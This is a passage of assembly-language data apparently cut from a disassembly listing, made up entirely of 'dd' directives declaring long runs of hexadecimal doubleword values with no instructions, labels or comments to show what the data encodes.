74945527h, 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh dd 429E0078h, 13048FEh, 6A0E654Bh, 0C7636961h, 0D3E128C0h dd 87C421FBh, 0F860F834h, 681E009Fh, 486E38BFh, 95073052h dd 1447CA1Ch, 3741150h, 61670046h, 60886376h, 8BA05677h dd 6D000A62h, 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h dd 0E0FE626Bh, 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h dd 1830A560h, 48B07742h, 0B6006C63h, 74417289h, 613A71h dd 1C0696Bh, 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h dd 0B82A0175h, 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h dd 84CB00A4h, 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh dd 7B2B4CE4h, 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h dd 14101E15h, 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h dd 17403AF6h, 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h dd 1D4775F7h, 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h dd 1B147945h, 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h dd 2D46DD69h, 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h dd 14B8801Fh, 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh dd 71830E54h, 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h dd 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h dd 71110E44h, 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh dd 0D0FA00A4h, 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h dd 100E5BE5h, 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h dd 8BA71D76h, 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h dd 884E0055h, 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h dd 0AA830E12h, 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h dd 0FC5D8E40h, 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h dd 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h dd 93FAB2AAh, 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh dd 25378AAh, 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h dd 0C40C21CCh, 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh dd 0FF7D42B9h, 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch dd 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h dd 4ABF5CC3h, 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h dd 0E885D959h, 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h dd 365097h, 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch dd 11758Dh, 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh dd 8D5601B1h, 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh dd 1B66A12h, 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh dd 0F4BA3437h, 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h dd 558BF1B8h, 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h dd 32FEF4h, 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h dd 14546C6h, 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h dd 259C7DDh, 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh dd 8C7CFFh, 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh dd 15F4F48h, 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h dd 11790114h, 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh dd 40722EBh, 8053B84h, 12410C01h, 0E028C310h, 0F600D311h dd 1CBA2F13h, 3455251h, 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh dd 6C7E8086h, 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah dd 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh dd 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h dd 0B45EBD03h, 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h dd 9E30E4BCh, 0D31840h, 244C283h, 0DCA12550h, 805D203Eh dd 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h dd 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h dd 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h dd 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h dd 837825E9h, 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h dd 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h dd 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h dd 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh dd 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch dd 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h dd 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h dd 0D4DDC30Ch, 80072089h dd 1DC0267Bh, 0B50098B7h, 437EE0h, 0F5AC921Bh, 0B0C1D73Bh dd 450C532Ch, 0EFC25000h, 437FC6h, 2856A9F9h, 8F7D0EEh dd 0A8517A00h, 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h dd 3FE5F685h, 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h dd 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh dd 358498F2h, 28033372h, 9D863210h, 0E628039h, 7A2C1D11h dd 8158CA2h, 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh dd 75D0EC0h, 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h dd 717CF190h, 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh dd 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h dd 6899D500h, 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h dd 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h dd 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h dd 21B9F58h, 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h dd 161F8AF4h, 8414258h, 1A91CB03h, 0AF46FCh, 0B454BF2Ah dd 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh dd 0E400E85Bh, 104914D5h, 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h dd 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h dd 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h dd 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh dd 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h dd 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h dd 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h dd 5ADEF7FBh, 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h dd 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah dd 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h dd 8AB08805h, 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h dd 40FAE70Fh, 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h dd 0FCCFD20h, 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h dd 65E8F980h, 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h dd 68A1C07h, 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h dd 5C9FB9EFh, 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h dd 0F880EE89h, 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h dd 0E93C1703h, 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h dd 0CC7EC0DFh, 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh dd 0C6006A71h, 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h dd 0C45420A7h, 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh dd 2D008319h, 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h dd 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch dd 0DE26001Dh, 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h dd 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h dd 0F516031Bh, 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h dd 0B2566F20h, 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h dd 534FC04Eh, 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h dd 68AF9608h, 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h dd 4A170094h, 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh dd 130ED1F5h, 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h dd 0AE7F7Fh, 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh dd 37320025h, 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h dd 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h dd 40001B32h, 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h dd 0A9A44526h, 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h dd 3B06E98Ch, 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h dd 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h dd 8130299Fh, 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h dd 342D220Dh, 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h dd 74AE9046h, 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h dd 1C5815D1h, 0E3AC6Eh, 8F433614h, 8C9C46A2h, 8A40F101h dd 814A3B08h, 603D840h, 428D0050h, 4D98EA0Ah, 2900E8F0h dd 845E575Bh, 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh dd 9AFC6A00h, 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh dd 2FA4035h, 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h dd 6547E788h, 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h dd 70690052h, 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h dd 0C805003Ch, 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h dd 3C3E9A67h, 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh dd 7E9AD9Dh, 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h dd 0BAA068FCh, 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh dd 4F77042h, 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h dd 0E651C8h, 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h dd 0D34900C4h, 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h dd 1CE00B04h, 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh dd 0FE48475Ah, 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh dd 42F397B2h, 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h dd 7728C342h, 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh dd 0AC804582h, 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah dd 3BD2AF24h, 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah dd 0DB2493B8h, 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h dd 5CDF1198h, 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h dd 1E50084h, 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h dd 0EAA2E809h, 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h dd 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh dd 0A0F12F10h, 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h dd 945E6A0Dh, 41FD301h, 1CBE6096h, 31FCBD40h, 4C5001C0h dd 0A80E6802h, 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh dd 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh dd 55D404E1h, 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h dd 107F001Fh, 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h dd 0D5380088h, 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch dd 0FE3500F6h, 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h dd 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh dd 3F750029h, 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h dd 22021845h, 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h dd 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah dd 527333D6h, 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh dd 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch dd 3B4C980h, 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h dd 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h dd 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h dd 0F7E2C8h, 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h dd 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h dd 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h dd 817A4400h, 586A07E2h dd 0F0C43FE4h, 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h dd 1C9EBA3h, 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h dd 0EDEF69Dh, 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h dd 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h dd 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h dd 0F62FCA5h, 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh dd 32C30720h, 172C7440h, 1739997Ah, 74126601h, 0D9075913h dd 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h dd 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h dd 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h dd 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h dd 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h dd 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h dd 0B0E8A097h, 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h dd 318E800h, 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h dd 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh dd 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h dd 0FF10280Ch, 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h dd 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch dd 5A7CA63Eh, 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h dd 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h dd 171EB4Ch, 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h dd 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h dd 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh dd 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h dd 0E81A0700h, 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h dd 0C0010A6Ch, 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h dd 8807EE66h, 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh dd 0AC3C6942h, 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh dd 0D7EE56AAh, 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh dd 9F480DE0h, 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h dd 0F99D00EDh, 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh dd 0EA5657h, 3685944h, 30058B64h, 3C148500h, 421904F2h dd 0C4080F02h, 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h dd 0B27862C0h, 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h dd 27C067C7h, 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh dd 0F207E688h, 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h dd 0FBEE12h, 4CBBD4DEh, 600F713h, 560B245Bh, 1CCB3A73h dd 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch dd 768006A6h, 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h dd 582F0064h, 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h dd 1E40087h, 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h dd 0EB4599h, 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h dd 68EC552Dh, 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h dd 0D840501Dh, 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h dd 221FEC7Ah, 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch dd 83F41D11h, 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h dd 0EE7EBDD2h, 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h dd 424B01D7h, 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h dd 7FD70059h, 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h dd 0F313E2E2h, 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h dd 97801F10h, 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h dd 904F6400h, 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h dd 5CBF5300h, 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah dd 121F71D1h, 2B50296h, 89F4F287h, 0CAC00D14h, 680084E9h dd 0A177EA90h, 490894h, 143EA259h, 0A30C6674h, 314F300Eh dd 1F35CFBDh, 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h dd 0B5022AB0h, 50093195h, 32836068h, 0DB5D0303h, 0A559974h dd 2EB20400h, 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h dd 5C6761EDh, 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah dd 6A04C80Eh, 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h dd 9734CFAh, 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h dd 0D7BC5Bh, 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h dd 885444A6h, 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h dd 0D37BB4h, 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah dd 18B91C53h, 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h, 98427D63h dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh dd 553A16h, 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h dd 69F70059h, 1680827h, 2F000BD4h, 41EDCE80h, 152420h dd 74664C94h, 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch dd 91A92C9h, 366E194Fh, 16C0D08Fh, 0A3CDF841h, 2134F600h dd 0F4107D2Ah dd 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h dd 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h dd 0B73A2274h, 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh dd 82EFD7B1h, 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh dd 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h dd 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h dd 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h dd 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h dd 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h dd 0D30022FAh, 0A51DE87Eh, 5539D9h, 0A4CFAAACh, 0B6AB362Ah dd 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch dd 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h dd 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh dd 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h dd 1E759546h, 15A9Bh, 24871785h, 36FF1491h, 0C306F400h dd 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h dd 0C65F49h, 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh dd 7557D6Eh, 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h dd 9ECF0D45h, 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h dd 0A15803h, 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h dd 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h dd 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h dd 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh dd 69FF000Bh, 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h dd 13505358h, 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h dd 45244054h, 37120143h, 3570A985h, 7378F456h, 74160800h dd 9CAE0D24h, 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h dd 0C5521ACAh, 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h dd 3C20614h, 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh dd 15C500E7h, 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h dd 744A6000h, 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h dd 0B40A7200h, 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h dd 0FB876B8Dh, 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h dd 0EF4903E8h, 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h dd 7807431Fh, 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h dd 66037488h, 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch dd 90135D1Dh, 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h dd 28037575h, 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h dd 0D344E7B1h, 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h dd 4EE05DAFh, 3E7EB089h, 33705700h, 3593D588h, 97B50369h dd 2C5F256Fh, 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh dd 882FB580h, 4200D621h, 0D0396147h, 675B0Ah, 689FC274h dd 282D35D2h, 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch dd 1E3700F1h, 96303611h, 6800C020h, 80284D53h, 979EA5h dd 184FEA8Fh, 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h dd 0D025608Ah, 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h dd 62F5AB7Dh, 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh dd 89AA00A3h, 40191802h, 58001A10h, 32C78E66h, 0B92B16h dd 68444260h, 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h dd 89D02B09h, 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h dd 54913CA3h, 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h dd 8045A268h, 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch dd 0CEB28B61h, 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh dd 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h dd 5E7600B5h, 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh dd 0A048F723h, 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh dd 90680015h, 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h dd 0FCBC015Dh, 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h dd 7E1960Bh, 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh dd 0E06FE80Bh, 4E1660h, 0BA673021h, 0E52E70A4h, 8CBBE000h dd 85340F0Ah, 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh dd 2B27C880h, 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h dd 0FEF40E48h, 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh dd 4B04E600h, 0B057A384h, 972D00E1h, 70895130h, 94900853h dd 5C81B800h, 0EA18212Bh, 4352008Eh, 9747DE1Dh, 